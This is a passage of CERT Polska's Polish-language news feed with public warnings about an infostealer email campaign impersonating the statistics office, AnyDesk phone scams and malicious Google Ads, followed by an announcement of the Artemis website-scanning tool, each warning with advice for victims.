&lt;p&gt;Potencjalna ofiara otrzymuje na swój adres e-mail wiadomość, rzekomo od Głównego Urzędu Statystycznego, o objęciu jej obowiązkiem sprawozdawczym, zgodnie z którym musi wypełnić elektroniczny formularz zgłoszenia, zamieszczony w załączniku wiadomości. W celu uwiarygodnienia wiadomości nadawca powołuje się na szereg przepisów prawnych i zamieszcza linki prowadzące do rzeczywistej strony Biuletynu Informacji Publicznej. &lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/information-stealer/infostealer-2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.Pobranie złośliwego załącznika&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;W rzeczywistości załącznikiem jest archiwum, które zawiera plik wykonywalny &lt;code&gt;Elektroniczny formularz zgłoszenia.exe&lt;/code&gt;, będący szkodliwym oprogramowaniem z rodziny GuLoader/CloudEyE. Jego zadaniem jest jedynie zweryfikowanie, czy program nie został uruchomiony w środowisku wirtualnym, a następnie pobranie właściwego pliku ze złośliwym oprogramowaniem z zewnętrznej strony i uruchomienie go.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/information-stealer/infostealer-3.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.Eksfiltracja danych&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Szkodliwe oprogramowanie, które jest pobierane w ostatniej fazie infekcji, pochodzi z rodziny Agent Tesla/OriginLogger. Charakteryzuje się ona wykradaniem danych wrażliwych z komputera ofiary m.in. zapisanych haseł i ciasteczek z przeglądarki, informacji o systemie, a także haseł z najpopularniejszych aplikacji. W kolejnym etapie dane te są eksfiltrowane za pomocą jedenej z wielu dostępnych metod takich jak wysyłanie maili (SMTP), serwer FTP albo nawet korzystając z możliwości API takich platform jak Telegram czy Discord.&lt;/p&gt;
&lt;h1&gt;Ważne informacje&lt;/h1&gt;
&lt;p&gt;W celu uwiarygodnienia oszustwa przestępcy wielokrotnie wykorzystują przejęte konta pocztowe, domeny podobne do prawdziwych instytucji, ale również podszywają się pod nadawcę w skutek braku poprawnej konfiguracji mechanizmów SPF i DMARC, o których można przeczytać w &lt;a href="https://cert.pl/posts/2021/10/mechanizmy-weryfikacji-nadawcy-wiadomosci/"&gt;naszym artykule&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/information-stealer/infostealer-6.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Oszuści bardzo często w celu zmylenia potencjalnej ofiary i systemów bezpieczeństwa stosują różne rozszerzenia archiwum zamieszczanych w wiadomości email np. &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;.7z&lt;/code&gt;, &lt;code&gt;.cab&lt;/code&gt;, &lt;code&gt;.iso&lt;/code&gt; oraz &lt;code&gt;.img&lt;/code&gt;! &lt;/p&gt;
&lt;p&gt;Nie zawsze też szkodliwe oprogramowanie znajduje się bezpośrednio w załączniku do wiadomości e-mail. W jednym z zaobserwowanych w ubiegłym roku wariantów na skrzynki pocztowe trafiały wiadomości, które w treści zawierały wyłącznie link do platformy OneDrive, która służyła do pobrania spakowanego archiwum. &lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/information-stealer/infostealer-4.jpg"&gt;&lt;/p&gt;
&lt;p&gt;W pliku tym natomiast znajdowało się kolejne archiwum oraz plik z hasłem do jego odszyfrowania. Dopiero po rozpakowaniu drugiego archiwum, pośród plików znajdował się właściwy złośliwy plik wykonywalny &lt;code&gt;Document.PDF.SCR&lt;/code&gt;. Jego uruchomienie powodowało zainstalowanie szkodliwego oprogramowania z rodziny Redline Stealer, którego główną funkcjonalnością jest wysoce skuteczna kradzież danych uwierzytelniających zapisanych na komputerze.
&lt;img src="https://cert.pl/uploads/warnings/information-stealer/infostealer-5.jpg"&gt;&lt;/p&gt;
&lt;h1&gt;Skutki oszustwa&lt;/h1&gt;
&lt;p&gt;Celem infekcji komputerów z systemem operacyjnym Windows szkodliwym oprogramowaniem typu infostealer jest m.in. kradzież danych uwierzytelniających do bankowości elektronicznej oraz innych serwisów, które były zapisane w przeglądarkach, ale także plików cookies. Niektóre rodziny szkodliwego oprogramowania charakteryzują się również przechwytywaniem klawiszy naciskach przez użytkownika. Po uzyskaniu takich danych przestępcy dokonują kradzieży pieniędzy z konta bankowego lub uzyskują dostępy do kont społecznościowych czy też pocztowych, które mogą posłużyć do dalszej dystrybucji szkodliwego oprogramowania.&lt;/p&gt;
&lt;h1&gt;Co zrobić w przypadku zainfekowania komputera szkodliwym oprogramowaniem?&lt;/h1&gt;
&lt;p&gt;W pierwszej kolejności należy odłączyć urządzenie od sieci (zarówno przewodowej jak i bezprzewodowej).&lt;/p&gt;
&lt;p&gt;Wykorzystując inne niezainfekowane urządzenie, należy zmienić wszystkie hasła, które były zapisane w przeglądarce i innych aplikacjach, a także tych, które były podawane już po infekcji szkodliwym oprogramowaniem. Zachęcamy przy tym do zapoznania się z artykułem poświęconym zasadom stosowania bezpiecznych haseł, dostępny jest on pod adresem &lt;a href="https://cert.pl/posts/2022/01/kompleksowo-o-haslach/"&gt;https://cert.pl/posts/2022/01/kompleksowo-o-haslach/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Sugerujemy wykonanie kopii zapasowej danych, następnie przeinstalowanie systemu operacyjnego i przywrócenie najważniejszych danych ze wspomnianej kopii zapasowej.&lt;/p&gt;
&lt;p&gt;Alternatywnie zainfekowane urządzenie można przeskanować za pomocą programu antywirusego. W systemie Windows można wykorzystać do tego wbudowany program Windows Defender. Jednak warto pamiętać, że &lt;strong&gt;nie daje to gwarancji pełnego usunięcia szkodliwego oprogramowania&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;W razie pytań lub wątpliwości zachęcamy do kontaktu z naszym zespołem. Podejrzane strony oraz oprogramowanie można nam zgłosić za pomocą formularza na stronie: &lt;a href="https://incydent.cert.pl/"&gt;https://incydent.cert.pl/&lt;/a&gt; lub za pośrednictwem wiadomości e-mail na adres: &lt;a href="mailto:cert@cert.pl"&gt;cert@cert.pl&lt;/a&gt;.&lt;/p&gt;</content><category term="zagrożenia"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Ataki socjotechniczne</title><link href="https://cert.pl/posts/2023/02/scam-anydesk/" rel="alternate"></link><published>2023-02-14T16:30:00+01:00</published><updated>2023-02-14T16:30:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-02-14:/posts/2023/02/scam-anydesk/</id><summary type="html">Cyberprzestępcy często kontaktują się z potencjalnymi ofiarami telefonicznie. Na początku rozmowy przedstawiają nieprawdziwą sytuację, która wydaje się pilna i wymaga szybkiego działania. Pochopne działanie może jednak prowadzić do utraty środków pieniężnych.</summary><content type="html">&lt;h1&gt;Schemat działania&lt;/h1&gt;
&lt;p&gt;Cyberprzestępcy kontaktują się ze swoimi potencjalnymi ofiarami telefonicznie. Na początku rozmowy przedstawiają nieprawdziwą sytuację, która wydaje się pilna i wymaga szybkiego działania. Oto dwa najczęstsze przykłady:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;dzwoniący przedstawia się jako pracownik konkretnego banku, Biura Informacji Kredytowej, KNF lub innej instytucji finansowej. Informuje, że w danym momencie ktoś próbuje złożyć wniosek kredytowy na dane ofiary, zmienić dane uwierzytelniające lub wykonać przelew. Zachęca do współpracy w celu powstrzymania tego działania.&lt;/li&gt;
&lt;li&gt;sprawcy podszywają się pod pracowników znanych giełd kryptowalut lub Forex (np. Blockchain, XTB) i informują o koncie rzekomo założonym kilka lat temu, na którym pozostawiona przez ofiarę niewielka kwota, poprzez automatyzację inwestowania, urosła do sumy kilku tysięcy złotych. Proponują wypłacenie tych środków, dodatkowo wzmacniając presję koniecznością poinformowania Urzędu Skarbowego w przypadku odmowy współpracy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Następnie podczas kolejnych połączeń i rozmów ofiara zachęcana jest do zainstalowania aplikacji Anydesk. Program ten pozwala na zdalny dostęp do pulpitu, a co za tym idzie na wykonywanie czynności za tego użytkownika. Dodatkowo poszkodowani proszeni są o zalogowanie się do swojego konta bankowego, w celu wykonania kolejnych niezbędnych czynności. Sprawcy, mając dostęp do pulpitu i konta wykonują przelewy na swoje rachunki. Dodatkowo są w stanie zaciągnąć szybką pożyczkę w banku na dane swojej ofiary i również te środki ukraść.&lt;/p&gt;
&lt;h1&gt;Skutki oszustwa&lt;/h1&gt;
&lt;p&gt;Podjęcie komunikacji oraz udostępnienie zdjęć skutkowałoby najprawdopodobniej kolejnymi szantażami oraz próbą wyłudzenia środków pieniężnych. Należy zauważyć, że jakiekolwiek próby podejmowania rozmowy czy negocjacji z przestępcami eskalują potencjalny konflikt i prowadzą jedynie do coraz to większych żądań.&lt;/p&gt;
&lt;h1&gt;Jak się zachować, kiedy zadzwoni do nas taka osoba&lt;/h1&gt;
&lt;p&gt;Jeśli zauważysz, że rozmowa telefoniczna jest opisaną tutaj próbą wyłudzenia, po prostu się rozłącz.
Jeśli mimo świadomości, że jest to kłamstwo, chcesz się upewnić czy Twoje konto bankowe jest bezpieczne, przejdź do witryny internetowej organizacji (np. Banku) i zadzwoń bezpośrednio na numer obsługi klienta. W ten sposób możesz się upewnić, że rozmawiasz z pracownikiem konkretnej organizacji.&lt;/p&gt;
&lt;h1&gt;Ważne informacje&lt;/h1&gt;
&lt;p&gt;Należy zwrócić uwagę, że przestępcy potrafią sfałszować numer telefonu, który wyświetla się potencjalnej ofierze. Jest to tzw. spoofing numeru telefonu. Często sprawcy podszywają się pod oficjalne numery banków lub zwykłych osób fizycznych, mimo że połączenia tak naprawdę wykonywane są z zupełnie innych numerów. Dlatego też odradzamy oddzwaniania na te numery, ponieważ często kontaktujemy się w takim wypadku z osobami, które nie są niczego świadome, a połączenie nie wyszło z ich telefonu.&lt;/p&gt;
&lt;h1&gt;Co zrobić w przypadku, gdy doszło już do wyłudzenia środków lub zalogowania się na konto, kiedy przestępcy mieli dostęp do zdalnego pulpitu?&lt;/h1&gt;
&lt;p&gt;W tym przypadku zalecamy podjąć następujące kroki:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;jak najszybciej skontaktować się ze swoim bankiem&lt;/li&gt;
&lt;li&gt;zmienić hasło do bankowości internetowej&lt;/li&gt;
&lt;li&gt;jeżeli doszło do wyłudzenia środków finansowych, zgłosić ten fakt na najbliższym komisariacie Policji&lt;/li&gt;
&lt;li&gt;podejrzane wiadomości SMS, zawierające adres URL, przekazać nam na numer &lt;strong&gt;8080&lt;/strong&gt;, a wszelkie inne zagrożenia zgłosić za pomocą formularza na stronie: &lt;a href="https://incydent.cert.pl/"&gt;https://incydent.cert.pl/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="zagrożenia"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Nowa kampania reklamowa “ad hijacking” za pośrednictwem Google Ads.</title><link href="https://cert.pl/posts/2023/02/ad-hijacking-google-ads/" rel="alternate"></link><published>2023-02-06T12:30:00+01:00</published><updated>2023-02-06T12:30:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-02-06:/posts/2023/02/ad-hijacking-google-ads/</id><summary type="html">Ostrzegamy - fałszywe reklamy w serwisie Google Search wykorzystywane do propagacji szkodliwego oprogramowania.</summary><content type="html">&lt;h1&gt;Schemat działania&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;1.Promowanie fałszywych stron w Google Adsense&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Zespół CERT Polska zaobserwował wariant oszustwa, w którym przestępcy wykorzystują Google Ads do pozycjonowania na pierwszych miejscach w wyszukiwarce stron rozpowszechniających szkodliwe oprogramowanie.&lt;/p&gt;
&lt;p&gt;Przestępcy tworzą strony internetowe z nazwami domen łudząco podobnymi do nazw producentów oprogramowania. Strony te pojawiają się na pierwszych miejscach wyników wyszukiwania w Google, przez co nie wzbudzają podejrzeń.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/ad-hijacking-google-ads/ad-hijacking1.png"&gt;
&lt;em&gt;Źródło: https://www.reddit.com/r/blender/comments/vvrxko/warning_fake_blender_website_paying_for_priority/&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.Dystrybucja szkodliwego oprogramowania z fałszywej strony&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Po kliknięciu w reklamę następuje przekierowanie na fałszywą stronę podszywającą się pod producenta wybranego oprogramowania.&lt;/p&gt;
&lt;p&gt;Celem takich ataków jest nakłonienie użytkowników do pobrania złośliwych programów lub niechcianych aplikacji.
Często na stronie głównej fałszywej strony znajduje się odnośnik do pobrania pliku ze szkodliwym oprogramowaniem w formacie .exe lub .zip.&lt;/p&gt;
&lt;p&gt;Microsoft w zeszłym miesiącu ujawnił kampanię, która wykorzystywała reklamy do dystrybucji BatLoadera, złośliwego instalatora wykorzystywanego między innymi do infekowania komputerów ransomwarem Royal.&lt;/p&gt;
&lt;p&gt;Inny popularny wariant działań oszustów dotyczy szkodliwego oprogramowania z rodziny IcedID, które wykorzystywane jest do dostarczania kolejnych niepożądanych programów bądź skryptów, takich jak np. Cobalt Strike. Umożliwia to cyberprzestępcom uzyskanie pełnego dostępu do systemu ofiary.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://cert.pl/uploads/warnings/ad-hijacking-google-ads/ad-hijacking2.png"&gt;&lt;/p&gt;
&lt;h1&gt;Skutki oszustwa&lt;/h1&gt;
&lt;p&gt;Uruchomienie pobranego pliku prowadzi najczęściej do zainfekowania systemu szkodliwym oprogramowaniem, które wykrada dane z urządzenia i przesyła je do przestępców. W ten sposób atakujący uzyskują m.in. dostęp do danych uwierzytelniających do serwisów, z których korzysta ofiara.&lt;/p&gt;
&lt;h1&gt;Jak się chronić?&lt;/h1&gt;
&lt;p&gt;Istotnym środkiem prewencyjnym jest weryfikacja czy pozycja domeny internetowej w wyszukiwarce jest wynikiem popularności czy reklamy. Jednak nie zawsze może to być proste do rozpoznania, dlatego dodatkowo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Zalecamy weryfikację czy używana sieć jest chroniona przez naszą Listę Ostrzeżeń. Można tego dokonać pod adresem: &lt;a href="https://lista.cert.pl/"&gt;https://lista.cert.pl/&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Nie zalecamy przechodzenia na strony z reklam, w wynikach wyszukiwania, jeśli nie jesteśmy pewni ich prawdziwego adresu.&lt;/li&gt;
&lt;li&gt;Warto porównać kilka pierwszych wyników wyszukiwania, zwłaszcza wyniki w ramach reklam w wyszukiwarce z klasycznymi wynikami bazującymi między innymi na częstotliwości wejść innych użytkowników Internetu.&lt;/li&gt;
&lt;li&gt;Przed uruchomieniem pliku instalacyjnego lub wypakowaniu skompresowanego pliku warto zwrócić uwagę czy system bądź antywirus nie ostrzega użytkownika przed nieznanym lub niebezpiecznym plikiem. W przypadku wystąpienia ostrzeżenia zalecamy natychmiast przerwać podejmowane dziania i zgłosić do nas podejrzany plik.&lt;/li&gt;
&lt;li&gt;W razie jakichkolwiek wątpliwości co do strony lub pliku zalecamy kontakt z naszym zespołem w celu weryfikacji domeny i zasobów na niej zawartych.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Co zrobić w przypadku zainfekowania urządzenia złośliwym oprogramowaniem?&lt;/h1&gt;
&lt;p&gt;W pierwszej kolejności należy odłączyć urządzenie od sieci (zarówno przewodowej jak i bezprzewodowej).&lt;/p&gt;
&lt;p&gt;Sugerujemy wykonanie kopii zapasowej danych, następnie przeinstalowanie systemu operacyjnego i przywrócenie najważniejszych danych ze wspomnianej kopii zapasowej.&lt;/p&gt;
&lt;p&gt;Alternatywnie zainfekowane urządzenie można przeskanować za pomocą programu antywirusego. W systemie Windows można wykorzystać do tego wbudowany program Windows Defender. Jednak warto pamiętać, że nie daje to gwarancji pełnego usunięcia szkodliwego oprogramowania. &lt;/p&gt;
&lt;p&gt;W razie pytań lub wątpliwości zachęcamy do kontaktu z naszym zespołem. Podejrzane strony oraz oprogramowanie można nam zgłosić za pomocą formularza na stronie: &lt;a href="https://incydent.cert.pl"&gt;https://incydent.cert.pl&lt;/a&gt; lub za pośrednictwem wiadomości e-mail na adres: cert@cert.pl.&lt;/p&gt;</content><category term="zagrożenia"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Artemis – CERT Polska bada bezpieczeństwo polskiego internetu</title><link href="https://cert.pl/posts/2023/01/artemis/" rel="alternate"></link><published>2023-01-25T09:00:00+02:00</published><updated>2023-01-25T09:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-01-25:/posts/2023/01/artemis/</id><summary type="html">Nowy Rok przyniósł kolejne rozwiązania poprawiające bezpieczeństwo polskiego internetu. Jednym z nich jest Artemis – narzędzie rozwijane przez zespół CERT Polska, które pomaga sprawdzać poziom zabezpieczeń stron internetowych. Weryfikacji podlegają podmioty, w przypadku których, zgodnie z ustawą o krajowym systemie cyberbezpieczeństwa, obsługa incydentów koordynowana jest przez CSIRT NASK.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Nowy Rok przyniósł kolejne rozwiązania poprawiające bezpieczeństwo polskiego internetu. Jednym z nich jest Artemis – narzędzie rozwijane przez zespół CERT Polska, a zapoczątkowane przez członków koła Politechniki Warszawskiej &lt;a href="https://kncyber.pl"&gt;KN Cyber&lt;/a&gt;, które pomaga sprawdzać poziom zabezpieczeń stron internetowych. Weryfikacji podlegają podmioty, w przypadku których, zgodnie z ustawą o krajowym systemie cyberbezpieczeństwa, obsługa incydentów koordynowana jest przez CSIRT NASK.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Jak działa Artemis?&lt;/h2&gt;
&lt;p&gt;Artemis bada strony udostępnione w internecie w poszukiwaniu podatności bezpieczeństwa i błędów konfiguracyjnych. Regularne skanowanie systemów podmiotów, w przypadku których obsługa incydentów koordynowana jest przez CSIRT NASK, pozwala monitorować i podnosić ich poziom bezpieczeństwa. Ma to kluczowe znaczenie, ponieważ są to instytucje, z których – jako obywatele – korzystamy na co dzień. Uzyskane wyniki nie są w żaden sposób upubliczniane, a jedynie niezwłocznie przekazywane administratorom, dzięki czemu zyskują oni cenną wiedzę na temat wykrytych podatności i mogą wykorzystać ją w celu poprawy bezpieczeństwa systemów. Warto też dodać, że w ramach ponownych testów zespół CERT Polska sprawdza, czy zostały wdrożone niezbędne poprawki. &lt;/p&gt;
&lt;p&gt;Istotną cechą przygotowanego przez nas narzędzia jest to, że proces skanowania pozwala administratorom zidentyfikować obserwowane działania jako prowadzone przez CERT Polska. Pozwala to ograniczyć do minimum ewentualny stres i zagrożenia związane z pochopnym reagowaniem.  Wszystkie istotne dla administratorów informacje zostały opisane na dedykowanej podstronie: &lt;a href="https://cert.pl/skanowanie/"&gt;https://cert.pl/skanowanie/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Rezultaty licznych skanowań, poza podnoszeniem poziomu bezpieczeństwa danego podmiotu, pozwalają też budować szerszy obraz cyberbezpieczeństwa Polski i kierować zasoby CERT Polska tam, gdzie są one najbardziej potrzebne, np. poprzez tworzenie poradników, czy prowadzenie akcji informacyjnych i edukacyjnych.&lt;/p&gt;
&lt;h2&gt;Dlaczego potrzebujemy Artemisa?&lt;/h2&gt;
&lt;p&gt;Zespół CERT Polska od wejścia w życie ustawy o krajowym systemie cyberbezpieczeństwa realizuje część zadań CSIRT NASK i jest odpowiedzialny m.in. za:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;monitorowanie zagrożeń cyberbezpieczeństwa i incydentów na poziomie krajowym;&lt;/li&gt;
&lt;li&gt;przekazywanie informacji dotyczących incydentów i ryzyk podmiotom krajowego systemu cyberbezpieczeństwa;&lt;/li&gt;
&lt;li&gt;prowadzenie zaawansowanych analiz złośliwego oprogramowania oraz analiz podatności;&lt;/li&gt;
&lt;li&gt;monitorowanie wskaźników zagrożeń cyberbezpieczeństwa;&lt;/li&gt;
&lt;li&gt;rozwijanie narzędzi i metod do wykrywania i zwalczania zagrożeń cyberbezpieczeństwa;&lt;/li&gt;
&lt;li&gt;prowadzenie działań z zakresu budowania świadomości w obszarze cyberbezpieczeństwa;&lt;/li&gt;
&lt;li&gt;tworzenie i udostępnianie narzędzi dobrowolnej współpracy i wymiany informacji o zagrożeniach cyberbezpieczeństwa i incydentach.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Artemis stanowi zatem jeszcze jeden sposób realizacji obowiązków, jakie ustawa nakłada na zespół CERT Polska, a jednocześnie daje możliwość skuteczniejszego działania na rzecz bezpieczeństwa podmiotów, które są w spektrum zainteresowania cyberprzestępców.&lt;/p&gt;
&lt;h2&gt;Kto zyska z Artemisem?&lt;/h2&gt;
&lt;p&gt;Wyznacznikiem jest dla nas ustawa o krajowym systemie cyberbezpieczeństwa. Zgodnie z jej zapisami CERT Polska pomaga dbać o cyberbezpieczeństwo m.in:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;szkół,&lt;/li&gt;
&lt;li&gt;szpitali,&lt;/li&gt;
&lt;li&gt;instytutów badawczych,&lt;/li&gt;
&lt;li&gt;uczelni,&lt;/li&gt;
&lt;li&gt;jednostek samorządu terytorialnego (np. gmin – zarówno ich stron internetowych, jak i stron spółek, które obsługują np. wywóz śmieci czy kanalizację).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Podmioty nie są wybierane przypadkowo – zależy nam, by nasze działania objęły możliwie szeroki zakres wynikający z ustawy o krajowym systemie cyberbezpieczeństwa. Korzystamy z ogólnodostępnych baz grupujących jednostki danego typu, np. samorządy.&lt;/p&gt;
&lt;p&gt;Do prowadzonych skanowań korzystamy z jednego adresu IP. System skanujący jest tak skonfigurowany, by administrator, zobaczywszy podejrzane połączenie, był w stanie sprawdzić, że pochodzi ono od CERT Polska. Powiadomienia o zgłoszonych podatnościach są wysyłane z adresu cert@cert.pl. Wszystko to po to, by uniknąć wątpliwości dotyczących tego, skąd pochodzi dana aktywność i czy nie ma wrogiego charakteru.&lt;/p&gt;
&lt;h2&gt;Co już wykrył Artemis?&lt;/h2&gt;
&lt;p&gt;Skanowanie trwa od 2 stycznia i przyniosło już pierwsze rezultaty. Przeskanowaliśmy blisko 2000 domen gmin i powiatów wraz z subdomenami i do tej pory udało nam się wykryć kilkaset stron bazujących na nieaktualizowanym oprogramowaniu. Mieliśmy też do czynienia z dziesiątkami sytuacji, w których pliki konfiguracyjne z hasłami, pliki z kopią zapasową serwisu czy foldery z danymi systemu poczty (adresami e-mail, treściami wiadomości czy załącznikami) były dostępne publicznie. Udało się nam znaleźć również kilkadziesiąt niewłaściwe zabezpieczonych folderów zawierających kod źródłowy systemu, a czasem nawet hasła dostępowe. &lt;/p&gt;
&lt;h2&gt;Czym nie jest Artemis?&lt;/h2&gt;
&lt;p&gt;Artemis działa automatycznie i na dużą skalę - &lt;strong&gt;nie przeprowadza pełnych testów bezpieczeństwa każdego systemu&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Artemis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;testuje (w ograniczonym zakresie) wyłącznie usługi dostępne publicznie z internetu,&lt;/li&gt;
&lt;li&gt;testuje strony internetowe, pocztę i usługi takie jak np. bazy danych (jeśli są dostępne publicznie) - nie przeprowadza innych rodzajów testów,&lt;/li&gt;
&lt;li&gt;nie testuje wydajności systemu (w tym odporności na ataki DDoS - z analiz CERT Polska wynika, że nieinwazyjne sprawdzanie takiej odporności nie jest możliwe),&lt;/li&gt;
&lt;li&gt;nie omija zapór sieciowych - jeśli ruch zostanie przez taką zaporę zablokowany, Artemis nie wykona testów (administratorzy mogą skonfigurować zapory, aby ruch z adresów IP opisanych na stronie &lt;a href="https://cert.pl/skanowanie"&gt;https://cert.pl/skanowanie&lt;/a&gt; nie był blokowany - w takich sytuacjach prosimy o kontakt pod adresem &lt;a href="mailto:artemis@cert.pl"&gt;artemis@cert.pl&lt;/a&gt;),&lt;/li&gt;
&lt;li&gt;nie powinien być traktowany przez administratorów jako informacja o wszystkich podatnościach występujących w ich infrastrukturze - Artemis wykonuje różne rodzaje testów, ale nie może zastąpić pełnego, certyfikowanego audytu bezpieczeństwa.&lt;/li&gt;
&lt;/ul&gt;</content><category term="News"></category><category term="informacja"></category><category term="artemis"></category><category term="skanowanie"></category></entry></feed>